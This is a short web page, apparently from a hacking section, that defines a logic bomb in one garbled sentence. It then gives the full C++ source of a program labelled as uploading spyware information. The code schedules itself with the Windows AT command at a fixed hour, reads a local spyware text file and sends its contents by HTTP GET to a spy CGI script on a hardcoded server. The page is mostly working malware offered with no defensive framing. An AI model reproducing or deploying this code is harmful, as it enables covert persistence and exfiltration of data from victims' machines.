Path: Hacking : Logic bomb :

Logic Bomb Logic bomb program...

To execute, a program at a give point in time is called a logic bomb.

logic_bomb.cpp - upload spyware information


// logic_bomb.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

#include "tcp_stream.h"

#include <cstdlib>

#include <windows.h>

#include <iostream>
#include <fstream>
#include <sstream>

using namespace std;
using namespace net_tools;

#define PROGRAM_NAME "C:\\CODE\\LOGIC_BOMB\\DEBUG\\LOGIC_BOMB.EXE"
#define SPYWARE_TEXT "C:\\CODE\\LOGIC_BOMB\\DEBUG\\SPYWARE.TXT"
#define SPY_CGI "/~mcoan/cgi-bin/spy.cgi"
#define SPY_SERVER "192.168.1.1"
#define SPY_PORT 80
#define ZERO_HOUR "22:55"

string
escape(const string & str)
{
	string hex_str;
	string ret;
	string t;
	for(size_t i = 0; i < str.size(); i++) {
		stringstream temp;
		switch(str[i]) {
		case ' ':
		case '\r':
		case '\n':
			ret += '+';
			break;

		default:
			temp << "%" << hex <<(int)str[i];
			temp >> t;
			ret += t;
		}
	}
	cout << ret << endl;
	return ret;
}

void
SendSpyInfo()
{
	tcp_stream tcp(SPY_SERVER, SPY_PORT);
	if(tcp) {
		string text;
		ifstream fin(SPYWARE_TEXT);
		if(fin) {
		   char ch = fin.get();
		   while(fin) {
			   text += ch;
			   ch = fin.get();
		   }
		   fin.close();
		   tcp << "GET " << SPY_CGI 
                       << "?text=" << escape(text) 
                       << " HTTP/1.0\r\n\r\n";
		   ch = tcp.get();
		   while(tcp) {
			   ch = tcp.get();
		   }
		   tcp.close();
		}
	}
}

void
LogicBomb()
{
	SendSpyInfo();
}

int
System(const string & cmd)
{
	return system(cmd.c_str());
}

WSADATA stWSAData;  // WinSock DLL Info.

#define WSA_MAJOR_VERSION 1
#define WSA_MINOR_VERSION 1
#define WSA_VERSION MAKEWORD(WSA_MAJOR_VERSION, WSA_MINOR_VERSION)


int main(int argc, char* argv[])
{
	WSAStartup(WSA_VERSION, &stWSAData);
	System(string("AT ") + string(ZERO_HOUR) + string(" ") + string(PROGRAM_NAME));
	LogicBomb();
	return 0;
}